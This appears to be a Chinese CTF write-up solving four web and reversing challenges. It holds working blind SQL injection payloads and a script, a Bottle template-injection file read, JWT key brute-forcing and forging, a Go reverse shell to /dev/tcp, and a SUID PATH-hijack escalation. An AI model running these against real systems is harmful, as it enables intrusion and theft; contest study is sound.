奶龙回家

进入可以发现其为一个登陆框,经过尝试发现sql注入

经过产生无法使用union,空格,sleep,BENCHMARK。一使用if就发现其会报错,这时候就已经怀疑其为sqlite的数据库不存在if语句了。

然后使用case when来进行sqli的注入,按sqlite的注入方式。使用randomblob来进行延迟

1
2
3
-1'/**/or/**/(case/**/when(substr((select/**/sql/**/from/**/sqlite_master),1,1)>'1')/**/then/**/randomblob(400000000)/**/else/**/0/**/end)/*
-1'/**/or/**/(case/**/when(substr((select/**/password/**/from/**/users),1,1)>'1')/**/then/**/randomblob(400000000)/**/else/**/0/**/end)/*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import requests
import time
import json

headers = {'Content-Type': 'application/json'}


url = "http://node.vnteam.cn:45544/login"
payload = {"userid":"","userpwd":"hhhh"}#这个变量是url解码后的。不解码也可以
flag = ""
for i in range(1, 18):
low = 32
high = 128
mid = (low + high) >> 1
while low < high:
payload = "-1'/**/or/**/(case/**/when(substr((select/**/password/**/from/**/users),{},1)>'{}')/**/then/**/randomblob(400000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
datas = {"username": payload, "password": "admin"}
start_time = time.time()
r = requests.post(url, data=json.dumps(datas),headers=headers,verify=False)
print(r.text)
end_time = time.time()
print(end_time - start_time)
if end_time - start_time > 1.4:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)

print(flag)

拿到账号密码为nailong和woaipangmao114514登陆后可以得到/do_you_like_van_you_xi路径访问得到flag

学生姓名登记系统

在name参数处可以发现存在ssti。经过尝试发现像{{url_for}} {{lipsum}}都不存在,这时候就有点怀疑不是flask宽假了。使用{{globals()}}可以发现其模板使用了bottle的SimpleTemplate

且查看{{__name__}}为builtins我们就应该可以直接使用builtins下的类似于import,eval等但是很可惜,都要被waf禁了,且eval和exec其回显为hacker而import只要在导入时才会触发waf且回显为noimport,所以但是我认为可能是hook操作的waf。

在进一步尝试发现其存在字符长度限制,前长度最多为23字符。那这道题肯定是要用到bottle的一些特性了。看一下官方文档

我们可以发现其可以通过在开头使用%来执行py代码。那么这就可以进行模板中无法进行的直接通过a=b这种方法来进行赋值,这样可以使字符数量更少,但是在实际测试中发现,不管怎么样其都无法执行,%print()这类的,在本地中输入%0A%print()%0A其中%print(123)都会消失,即其被当成了py代码而不是模板语言。但是题目的环境却不可以,我认为是题目对输入进行了一些处理。

而在官方文档中我们看模板函数可以发现include函数,其作用是使用指定的变量渲染子模板。一开始我没注意这个函数一直在钻其他函数的牛角尖,想着对全局变量进行赋值以此来减少字符数。但是怎么也成功不了,于是尝试了一些,想着include是加载模板函数的,那么其逻辑肯定是文件读取,那么其加载app.py会怎么样?

拿到了源码,而后尝试了一下能不能直接读取flag,发现好像不行。其好像只能读取web目录下的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252

import ast
import sys
from bottle import route, run, template, request


def verify_secure(m):
for x in ast.walk(m):
if isinstance(x, (ast.Import, ast.ImportFrom)):
print(f"ERROR: Banned statement {x}")
return False

elif isinstance(x, ast.Call):
if isinstance(x.func, ast.Name) and x.func.id == "__import__":
print(f"ERROR: Banned dynamic import statement {x}")
return False
return True


def init_functions():
sys.modules['os'].popen = disabled
sys.modules['os'].system = disabled
sys.modules['time'].sleep = disabled


def disabled(*args, **kwargs):
raise PermissionError("Use of function is not allowed!")


@route('/')
def index():
return '''<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>学生姓名登记</title>
<style>
body {
font-family: 'Arial', sans-serif;
line-height: 1.6;
color: #333;
max-width: 600px;
margin: 0 auto;
padding: 20px;
background-color: #f4f4f4;
}
.container {
background-color: #fff;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
h2 {
color: #2c3e50;
text-align: center;
margin-bottom: 20px;
}
form {
display: flex;
flex-direction: column;
}
label {
margin-bottom: 10px;
font-weight: bold;
}
textarea {
width: 100%;
height: 150px;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
resize: vertical;
font-size: 16px;
}
button {
background-color: #3498db;
color: #fff;
border: none;
padding: 10px 15px;
font-size: 16px;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #2980b9;
}
.error {
color: #e74c3c;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<h2>学生姓名登记</h2>
<form action="/students" method="POST" id="studentForm">
<label for="name">请输入学生姓名(一行一个):</label>
<textarea id="name" name="name" placeholder="张三&#10;李四" required></textarea>
<button type="submit">提交</button>
</form>
<p id="errorMessage" class="error"></p>
</div>

<script>
document.getElementById('studentForm').addEventListener('submit', function(e) {
e.preventDefault();

const namesInput = document.getElementById('name').value.trim();
const names = namesInput.split('\n').filter(name => name.trim() !== '');

if (names.length === 0) {
document.getElementById('errorMessage').textContent = '请至少输入一个学生姓名。';
return;
}

document.getElementById('errorMessage').textContent = '';
this.reset();
});
</script>
</body>
</html>
'''


def successhtml(name):
success_html = """<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>成绩录入成功</title>
<style>
body {
font-family: 'Arial', sans-serif;
background-color: #f0f2f5;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
background-color: #ffffff;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
padding: 30px;
text-align: center;
max-width: 400px;
width: 90%;
}
.success-icon {
color: #52c41a;
font-size: 48px;
margin-bottom: 20px;
}
h1 {
color: #333;
font-size: 24px;
margin-bottom: 15px;
}
.message {
color: #666;
font-size: 16px;
line-height: 1.5;
}
.student-name {
font-weight: bold;
color: #1890ff;
}
.back-button {
background-color: #1890ff;
color: white;
border: none;
padding: 10px 20px;
font-size: 16px;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s;
margin-top: 20px;
}
.back-button:hover {
background-color: #40a9ff;
}
</style>
</head>
<body>
<div class="container">
<div class="success-icon">✔</div>
<h1>成绩录入成功</h1>
<p class="message">
<span class="student-name" id="studentName"></span>
</p>
<button class="back-button" onclick="goBack()">返回</button>
</div>

<script>
const studentName = "张三";

document.addEventListener('DOMContentLoaded', function() {
const messageElement = document.getElementById('studentName');
messageElement.innerHTML = `""" + "<b>学生 {} 的成绩录入成功!</b>".format(name) + """`;
});

function goBack() {
window.location.href = '/';
}
</script>
</body>
</html>
"""
return success_html


@route('/students', method=['POST'])
def students():
name = request.forms.name
black_list = ['aa', 'exec', 'eval', 'subprocess']
for x in black_list:
if x in name:
return "Hacker!"

temp = name.split("\n")
for i in range(0, len(temp)):
temp[i] = temp[i].replace('\n', '').replace('\r', '')
#if len(temp[i]):
#print(len(temp[i]))
#return "<h1>谁家好人名字这么长??</h1>"
try:
tree = compile(name, "temp.py", 'exec', flags=ast.PyCF_ONLY_AST)
print(tree)
except:
#print(successhtml(name))
print('no')
return successhtml(name)
if verify_secure(tree):
try:
print('yes')
return template(successhtml(name))

except:
print("no")
return successhtml(name)
else:
return "No import!"


init_functions()
run(host="0.0.0.0", port=9000)

看一下源码可以发现其对我们输入的name参数使用compile生成了树,如何通过verify_secure来检测其是否有进行impact操作,且如果compile抛出异常即输入的py代码有语法错误就会直接返回successhtml(name)不会进行模板操作也就无法命令执行。

再看一下其对长度检测的部分可以发现其是检测每一行的字数,每行不可以超过23。这认为想到了使用前面的%开头来执行py代码的操作,这个就可以使用行号符来分隔,那么限制有个问题就是模板中直接py代码其中%前只能有空白字符,而直接使用%开头py是会报错的。

我们可以使用’’’aaaa’’’来对多行字符串进行包裹这样就不会报错了。然后就是不断的赋值来如果字符限制的过程了

后面我也有尝试能否进行rce,但是发现其对popen和system都赋值为了disabled,我也无法进行import操作,再模板中的赋值操作也无法影响到py源码,subprocess也不在obj下。所以最后也只好以文件读取收尾。

Gin

看一下路由会发现路由后面有一个AuthMiddleware,打开函数可以发现其是一个鉴权函数,当后面输入参数的为admin时其会解析token中的username是否为admin。

我们注册的权限只是普通的user权限,只能使用upload和download路径,看一下函数

uoload是检测上传的文件是否有恶意代码,然后上传到uploads这个静态目录,感觉没什么利用价值,我们继续看download,可以发现其就是一个文件下载的路径,尝试看看是否有目录穿越

可以发现其可以进行文件读取,但是目录穿越读不到flag。而admin权限的Eval路径有一个命令执行的逻辑。这时候思路就是进行jwt伪造了。

其jwt的key的生成逻辑为随机生成一个0到999的数,使用key.go的年份来作为随机数的种子,然后将config中的key和这个随机数拼接,给我们的源码没有key.go我们直接文件读取

1
2
3
4
5
6
7
8
package config

func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}

然后我们用脚本来爆破key,因为key是由0到999的随机数加上r00t32l组成的所有很好爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import jwt

def generate_key(i):
"""生成密钥,格式为 3 位数字 + 'r00t32l'"""
return f"{i:03}r00t32l"

def brute_force_jwt(target_jwt):
"""爆破 JWT"""
for i in range(1000): # 遍历 000 到 999
key = generate_key(i)
try:
# 尝试解析 JWT
decoded = jwt.decode(target_jwt, key, algorithms=["HS256"])
print(f"爆破成功!密钥是: {key}")
print("解析后的 JWT 内容:", decoded)
return
except jwt.InvalidTokenError:
# 如果密钥无效,继续尝试下一个
continue

# 如果遍历完所有密钥仍未找到
print("爆破失败,未找到正确的密钥。")

if __name__ == "__main__":
# 目标 JWT 令牌
target_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMjIzMyIsImlzcyI6Ik1hc2gxcjAiLCJzdWIiOiJ1c2VyIHRva2VuIiwiZXhwIjoxNzM5MTIxODE2LCJpYXQiOjE3MzkwMzU0MTZ9.Han8mN14H8b8sTnbWehg7MD2Ex5vassmCqRgMMvKWOQ"

# 开始爆破
brute_force_jwt(target_jwt)



得到key为122r00t32l
之后生成username为Admin的jwt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import jwt
import datetime

def generate_jwt(payload, secret_key):
"""生成 JWT"""
# 添加默认的签发时间和过期时间
payload["iat"] = datetime.datetime.utcnow() # 签发时间
payload["exp"] = datetime.datetime.utcnow() + datetime.timedelta(hours=1) # 过期时间

# 生成 JWT
token = jwt.encode(payload, secret_key, algorithm="HS256")
return token

if __name__ == "__main__":
# 载荷(Payload)
payload = {
"username": "Admin",
"issuer": "Mash1r0"
}

# 密钥
secret_key = "122r00t32l" # 替换为你的密钥

# 生成 JWT
jwt_token = generate_jwt(payload, secret_key)
print("生成的 JWT 令牌:", jwt_token)

然后就可以使用Eval命令执行了,其是编译一个临时go文件命令执行且不能使用os/exec可以用syscall命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

package main

import (
"syscall"

)

func main() {
// 定义要执行的命令
command :="bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'"

// 将命令转换为 []string
argv := []string{"bash", "-c", command}

// 调用 syscall.Exec 执行命令
syscall.Exec("/bin/sh", argv, nil)
}



拿到shell后,发现/flag是假的

猜测需要提权,

发现/…/Cat存在SUID权限执行后发现其是一个执行cat /flag的执行文件

那么我们就可以使用$PATH来进行劫持

https://github.com/aplyc1a/blogs/blob/master/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Linux%E6%8F%90%E6%9D%83/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E6%8F%90%E6%9D%83/%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81%E6%8F%90%E6%9D%83.md

VN_Lang

看源码可以发现其是直接将flag写道变量里的,那么直接把exe拖到IDA然后搜VNCTF就可以找到flag了